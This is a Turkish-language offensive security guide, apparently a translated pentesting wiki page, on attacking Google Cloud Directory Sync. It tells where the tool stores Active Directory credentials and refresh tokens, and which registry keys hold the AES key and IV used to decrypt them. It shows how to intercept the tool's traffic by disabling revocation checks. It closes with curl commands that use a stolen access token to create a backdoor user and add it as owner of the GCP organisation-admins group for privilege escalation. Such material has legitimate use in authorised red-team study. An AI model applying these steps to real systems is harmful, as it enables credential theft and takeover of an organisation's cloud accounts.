Bu, aktif dizin kullanıcılarınızı ve gruplarınızı Workspace'inize senkronize etmek için kullanılabilecek bir araçtır (ve bu yazının yazıldığı sırada tam tersi değildir).
İlginçtir ki, bu araç bir Workspace süper kullanıcısının ve ayrıcalıklı AD kullanıcısının kimlik bilgilerini gerektirecektir. Bu nedenle, zaman zaman kullanıcıları senkronize eden bir alan sunucusunda bulunması mümkün olabilir.
config-manager.exe ikili dosyasına bir MitM gerçekleştirmek için config.manager.vmoptions dosyasına aşağıdaki satırı ekleyin: -Dcom.sun.net.ssl.checkRevocation=false
WinpeasGCDS'yi tespit edebilir, yapılandırma hakkında bilgi alabilir ve hatta şifreleri ve şifrelenmiş kimlik bilgilerini elde edebilir.
Ayrıca, GCDS'nin AD'den Workspace'e şifreleri senkronize etmeyeceğini unutmayın. Eğer bir şey olursa, sadece Workspace'te yeni oluşturulan kullanıcılar için rastgele şifreler üretecektir, bunu aşağıdaki görüntüde görebilirsiniz:
GCDS - Disk Tokenleri & AD Kimlik Bilgileri
config-manager.exe ikili dosyası (GUI ile ana GCDS ikilisi) yapılandırılmış Aktif Dizin kimlik bilgilerini, yenileme tokenini ve erişimi varsayılan olarak C:\Program Files\Google Cloud Directory Sync klasöründe Untitled-1.xml adlı bir xml dosyasında saklayacaktır. Ancak, bu dosya kullanıcının Documents klasöründe veya herhangi bir başka klasörde de kaydedilebilir.
Ayrıca, HKCU\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\ui içindeki kayıt defteri open.recent anahtarı, en son açılan tüm yapılandırma dosyalarının (xml'lerin) yollarını içerir. Bu nedenle, bunları bulmak için kontrol etmek mümkündür.
Not edin ki refreshtoken ve kullanıcının şifresi, rastgele oluşturulmuş bir anahtar ve IV ile AES CBC kullanılarak şifrelenmiştir ve HKEY_CURRENT_USER\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util içinde saklanmaktadır (nerede olursa olsun prefs Java kütüphanesi tercihleri saklar) string anahtarları /Encryption/Policy/V2.iv ve /Encryption/Policy/V2.key base64 formatında saklanmaktadır.
Refresh token ve şifreyi çözmek için Powershell scripti
Bir yenileme token'ına sahip olsanız bile, erişim token'ı için herhangi bir kapsam talep etmek mümkün değildir çünkü yalnızca erişim token'ını oluşturduğunuz uygulama tarafından desteklenen kapsamları talep edebilirsiniz.
Ayrıca, yenileme token'ı her uygulamada geçerli değildir.
Varsayılan olarak GCSD, kullanıcı olarak her olası OAuth kapsamına erişime sahip olmayacaktır, bu nedenle aşağıdaki betiği kullanarak refresh_token ile bir access_token oluşturmak için kullanılabilecek kapsamları bulabiliriz:
#### Bir kullanıcı oluşturun ve bunu `gcp-organization-admins` grubuna ekleyin, GCP'de yükselmeyi denemek için
```bash
# Create new user
curl -X POST \
'https://admin.googleapis.com/admin/directory/v1/users' \
-H 'Authorization: Bearer <ACCESS_TOKEN>' \
-H 'Content-Type: application/json' \
-d '{
"primaryEmail": "deleteme@domain.com",
"name": {
"givenName": "Delete",
"familyName": "Me"
},
"password": "P4ssw0rdStr0ng!",
"changePasswordAtNextLogin": false
}'
# Add to group
curl -X POST \
'https://admin.googleapis.com/admin/directory/v1/groups/gcp-organization-admins@domain.com/members' \
-H 'Authorization: Bearer <ACCESS_TOKEN>' \
-H 'Content-Type: application/json' \
-d '{
"email": "deleteme@domain.com",
"role": "OWNER"
}'
# You could also change the password of a user for example
Yeni kullanıcıya Super Amin rolü verilemez çünkü yenileme token'ı gerekli yetkileri vermek için yeterli kapsamda değil.